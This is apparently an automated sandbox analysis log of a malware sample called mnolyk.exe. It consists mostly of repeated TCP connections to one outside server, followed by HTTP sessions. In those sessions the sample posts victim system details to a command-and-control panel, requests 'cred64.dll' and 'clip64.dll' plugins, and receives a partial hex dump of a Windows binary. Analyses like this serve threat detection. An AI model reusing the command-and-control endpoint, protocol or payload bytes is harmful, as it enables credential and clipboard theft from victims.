Feb 6, 2023 14:19:19.589090109 CET	50251	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.590001106 CET	50252	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.654918909 CET	80	50252	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.655086994 CET	50252	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.657110929 CET	80	50251	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.657279968 CET	50251	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.663269997 CET	50252	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.723608017 CET	80	50252	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.728203058 CET	80	50252	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.728267908 CET	50252	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.839915037 CET	50252	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.841083050 CET	50253	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.900456905 CET	80	50252	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.900640011 CET	50252	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.902539015 CET	80	50253	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.902673960 CET	50253	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.903146029 CET	50253	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.964545965 CET	80	50253	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.967570066 CET	80	50253	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.967653990 CET	50253	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.075469971 CET	50253	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.076307058 CET	50254	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.137080908 CET	80	50253	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.137181997 CET	50253	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.138082027 CET	80	50254	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.138184071 CET	50254	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.138555050 CET	50254	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.199927092 CET	80	50254	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.204947948 CET	80	50254	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.205108881 CET	50254	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.325771093 CET	50254	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.326631069 CET	50255	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.387423992 CET	80	50254	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.387546062 CET	50254	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.387784004 CET	80	50255	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.387873888 CET	50255	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.388212919 CET	50255	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.449338913 CET	80	50255	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.453283072 CET	80	50255	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.453493118 CET	50255	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.557549000 CET	50255	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.558211088 CET	50256	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.618834019 CET	80	50255	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.619426966 CET	80	50256	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.619605064 CET	50256	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.619610071 CET	50255	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.620518923 CET	50256	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.681669950 CET	80	50256	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.685688972 CET	80	50256	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.685883045 CET	50256	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.792284012 CET	50256	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.793103933 CET	50257	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.853615999 CET	80	50256	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.854021072 CET	50256	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.855207920 CET	80	50257	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.855681896 CET	50257	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.856194973 CET	50257	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:20.918466091 CET	80	50257	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.922713995 CET	80	50257	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:20.923029900 CET	50257	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.027515888 CET	50257	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.028528929 CET	50258	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.090034008 CET	80	50257	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.090080976 CET	80	50258	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.090251923 CET	50257	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.090347052 CET	50258	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.108803988 CET	50258	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.170540094 CET	80	50258	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.177926064 CET	80	50258	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.180499077 CET	50258	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.297157049 CET	50258	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.297869921 CET	50259	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.358457088 CET	80	50259	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.358659983 CET	80	50258	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.358799934 CET	50258	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.359169960 CET	50259	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.359169960 CET	50259	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.419660091 CET	80	50259	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.423146963 CET	80	50259	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.425424099 CET	50259	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.542226076 CET	50259	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.542865038 CET	50260	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.602816105 CET	80	50259	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.604190111 CET	50259	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.605241060 CET	80	50260	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.606437922 CET	50260	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.606827974 CET	50260	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.669172049 CET	80	50260	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.674019098 CET	80	50260	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.674257040 CET	50260	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.776876926 CET	50260	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.780023098 CET	50261	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.839670897 CET	80	50260	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.839817047 CET	50260	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.841545105 CET	80	50261	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.841682911 CET	50261	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.842035055 CET	50261	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:21.903250933 CET	80	50261	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.908354044 CET	80	50261	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:21.908436060 CET	50261	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.011148930 CET	50261	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.011940002 CET	50262	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.072583914 CET	80	50262	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.072669983 CET	80	50261	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.072808027 CET	50262	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.072840929 CET	50261	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.073796988 CET	50262	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.134345055 CET	80	50262	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.141985893 CET	80	50262	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.142205954 CET	50262	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.248646021 CET	50262	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.249465942 CET	50263	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.309470892 CET	80	50262	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.309616089 CET	50262	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.309988022 CET	80	50263	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.310100079 CET	50263	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.314338923 CET	50263	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.374953985 CET	80	50263	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.379453897 CET	80	50263	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.379672050 CET	50263	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.500523090 CET	50263	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.501395941 CET	50264	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.561328888 CET	80	50263	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.561485052 CET	50263	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.563705921 CET	80	50264	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.563843012 CET	50264	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.564256907 CET	50264	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.626785994 CET	80	50264	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.630848885 CET	80	50264	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.630987883 CET	50264	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.764373064 CET	50264	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.765028954 CET	50265	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.826550007 CET	80	50265	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.826641083 CET	80	50264	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.826683044 CET	50265	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.826742887 CET	50264	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.827156067 CET	50265	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.888603926 CET	80	50265	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.892991066 CET	80	50265	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:22.893085957 CET	50265	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.995549917 CET	50265	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:22.996212006 CET	50266	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.057147026 CET	80	50265	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.057226896 CET	50265	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.058339119 CET	80	50266	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.058432102 CET	50266	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.059191942 CET	50266	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.121431112 CET	80	50266	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.127336025 CET	80	50266	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.127423048 CET	50266	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.236085892 CET	50266	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.236978054 CET	50267	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.297784090 CET	80	50267	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.297955990 CET	50267	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.298439980 CET	80	50266	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.298532963 CET	50266	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.304553986 CET	50267	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.364986897 CET	80	50267	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.369493961 CET	80	50267	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.369667053 CET	50267	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.480211973 CET	50267	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.480973005 CET	50268	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.540736914 CET	80	50267	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.540966988 CET	50267	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.542501926 CET	80	50268	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.542656898 CET	50268	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.543087006 CET	50268	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.604387999 CET	80	50268	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.607664108 CET	80	50268	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.607737064 CET	50268	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.715068102 CET	50268	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.716726065 CET	50269	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.776777983 CET	80	50268	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.776998997 CET	80	50269	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.777193069 CET	50268	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.777405977 CET	50269	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.777740955 CET	50269	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.838337898 CET	80	50269	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.841481924 CET	80	50269	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:23.842619896 CET	50269	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.949439049 CET	50269	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:23.950215101 CET	50270	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.009900093 CET	80	50269	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.010601997 CET	80	50270	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.010745049 CET	50269	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.010808945 CET	50270	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.011353970 CET	50270	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.072000027 CET	80	50270	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.077202082 CET	80	50270	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.078553915 CET	50270	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.183182001 CET	50270	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.183859110 CET	50271	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.244060040 CET	80	50270	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.244163990 CET	80	50271	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.244424105 CET	50271	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.244437933 CET	50270	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.244810104 CET	50271	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.305227041 CET	80	50271	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.308454037 CET	80	50271	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.310844898 CET	50271	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.417618990 CET	50271	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.418276072 CET	50272	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.478272915 CET	80	50271	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.478820086 CET	80	50272	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.478961945 CET	50271	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.479007006 CET	50272	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.480079889 CET	50272	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.546174049 CET	80	50272	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.546220064 CET	80	50272	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.546386003 CET	50272	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.655590057 CET	50272	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.656286001 CET	50273	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.718983889 CET	80	50272	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.719170094 CET	50272	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.720848083 CET	80	50273	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.720982075 CET	50273	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.721440077 CET	50273	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.783724070 CET	80	50273	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.788153887 CET	80	50273	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.788292885 CET	50273	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.902209044 CET	50273	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.903290033 CET	50274	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.964562893 CET	80	50273	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.964725971 CET	50273	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.965740919 CET	80	50274	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:24.965862989 CET	50274	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:24.966329098 CET	50274	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.028808117 CET	80	50274	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.033452988 CET	80	50274	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.033613920 CET	50274	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.153373957 CET	50274	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.154043913 CET	50275	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.215636015 CET	80	50275	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.215771914 CET	50275	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.215990067 CET	80	50274	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.216067076 CET	50274	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.216519117 CET	50275	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.278135061 CET	80	50275	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.282788038 CET	80	50275	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.282929897 CET	50275	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.386830091 CET	50275	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.388304949 CET	50276	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.448720932 CET	80	50275	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.448779106 CET	50275	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:25.450535059 CET	80	50276	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:25.452774048 CET	50276	80	192.168.2.5	62.204.41.4

HTTP Request Dependency Graph

62.204.41.4

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49691	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:28.832691908 CET	104	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:28.896934986 CET	105	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49690	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:28.837604046 CET	104	OUT	GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1 Host: 62.204.41.4
Feb 6, 2023 14:16:28.898228884 CET	105	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:28 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Feb 6, 2023 14:16:28.917882919 CET	105	OUT	GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1 Host: 62.204.41.4
Feb 6, 2023 14:16:28.979448080 CET	107	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:28 GMT Content-Type: application/octet-stream Content-Length: 91136 Last-Modified: Fri, 03 Feb 2023 17:19:21 GMT Connection: keep-alive ETag: "63dd4219-16400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$,CyCyCy~Iy~y~Qy~Ly~Ry~by~FyCyy~@y~ByBy~ByRichCyPEL8c!>@J<K<T ?p?@,.textV `.rdataab@@.dataD`D@.rsrcP@@.relocTR@B
